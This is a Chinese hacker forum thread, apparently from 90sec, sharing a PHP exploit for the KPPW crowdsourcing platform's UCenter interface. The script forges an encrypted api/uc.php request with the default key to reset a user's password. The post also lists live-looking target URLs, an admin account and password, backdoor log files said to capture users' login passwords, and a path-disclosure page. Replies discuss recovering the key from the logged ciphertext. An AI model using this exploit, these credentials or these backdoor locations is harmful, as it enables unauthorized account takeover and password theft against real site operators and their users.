KPPW系统(威客系统) uc接口漏洞+后门一个



<?php
print_r('
+---------------------------------------------------------------------------+
uc.php 0day By 90sec@晴天小铸 wooyun@_Evil
+---------------------------------------------------------------------------+
');
if ($argc < 3)
{
print_r('
+---------------------------------------------------------------------------+
Example:
php '.$argv[0].' hostname key username uid
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(3);
ini_set('max_execution_time', 0);
$hostname = $argv[1];
$key = $argv[2];
$username = $argv[3];
$uid = $argv[4];
$code = 'time=13567968001111111111111111111&username='.$username.'&uid=1&action=updatepw&password=976edcd2b5b6d15f009f7cf306bb696e';
//password=Yaseng
$exp = urlencode(authcode($code, "ENCODE", $key));


$styleUrl=$hostname."/api/uc.php?code=".$exp;
$styleData="";
	$ch = curl_init($styleUrl);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $styleData);
	curl_setopt($ch, CURLOPT_POST, 1);
	$token=curl_exec($ch);
	curl_close($ch);
	
	if (preg_match("/1/",$token))
{
echo "Have a Oday";
}else{
 echo "Soory don't hack it";
}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
 
    $ckey_length = 4;
 
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
 
    $result = '';
    $box = range(0, 255);
 
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
 
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
 
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
 
}




**http://www.80vul.com/paper/UC接口带来的安全隐患.pdf
**

这个程序默认没开启uc接口,密匙为123456
1.jpg
http://www.kppw.cn/kppw20/control/admin/index.php 账号admin Yaseng

后门http://www.ruantui.net/api/uc_client_log.txt
http://
**/pw_api/pw_log.txt
-_-当你开了UC接口就记录你登陆时间和密码,虽然密码是密匙+(32位)md5,但是对于懂密码学的逆向肯能性很大~
------------------------------------------------------------------哪位朋友知道密文(uc_client_log.txt)能逆向出密匙的求经验,求调教~!--------------------------------------

加个爆路径,他没有容错 哈哈
http://www.kppw.cn/kppw20/shop/goods/control/admin/install/install.phpFatal error: Class 'db_factory' not found in C:\AppServ\www\KPPW\shop\goods\control\admin\install\install.php on line 5

膜拜楼猪大黑客 请问UCKEY是统一的?

**回复 3# 心灵 **

** 不是呢,不过很多一般没开默认就是123456 - -如果开了 有那个后门,懂密码逆向的应该能找到密匙- -密码逆向找密匙~!!!!!!!**

向大牛学习挖漏洞

**回复 1# 晴天小铸 **

你妹  说好的  getShell   exp  了     {:4_76:}

**回复 6# Yaseng **

= =你没在切你JJ

很有搞头,支持原创牛

支持晴天

LZ很活跃啊,话说Pax.Mac的Evil的ID就是你?

**回复 11# 花开若相惜 **

Wooyun的是我 其他的不是我 wooyun是  _Evil

**回复 12# 晴天小铸 **

http://zone.wooyun.org/user/_Evil

额 原来这个是你 ...

赞一个,大牛威武

逆向密码的话比较难。